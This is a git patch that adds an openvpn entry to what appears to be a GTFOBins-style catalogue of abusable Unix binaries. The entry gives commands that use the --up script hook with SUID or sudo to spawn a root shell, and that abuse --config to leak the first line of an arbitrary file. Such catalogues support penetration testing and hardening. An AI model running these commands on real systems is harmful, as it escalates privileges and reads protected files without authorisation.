From ce34e142a1a183ea79fc12844a61826811bcbdd8 Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Sun, 21 Feb 2021 11:42:42 +0100 Subject: [PATCH] add data source for openvpn --- data/openvpn.json | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 data/openvpn.json diff --git a/data/openvpn.json b/data/openvpn.json new file mode 100644 index 0000000..e2837e2 --- /dev/null +++ b/data/openvpn.json @@ -0,0 +1,28 @@ +{ + "functions": { + "file-read": [ + { + "description": "The file is actually parsed and the first partial wrong line is returned in an error message.", + "code": "openvpn --config \"[file]\"\n" + } + ], + "suid": [ + { + "code": "./openvpn --dev tun0 --script-security 2 --up '/bin/sh -p -c \"sh -p\"'\n" + }, + { + "description": "The file is actually parsed and the first partial wrong line is returned in an error message.", + "code": "./openvpn --config \"[file]\"\n" + } + ], + "sudo": [ + { + "code": "sudo openvpn --dev tun0 --script-security 2 --up '/bin/sh -c sh'\n" + }, + { + "description": "The file is actually parsed and the first partial wrong line is returned in an error message.", + "code": "sudo openvpn --config \"[file]\"\n" + } + ] + } +}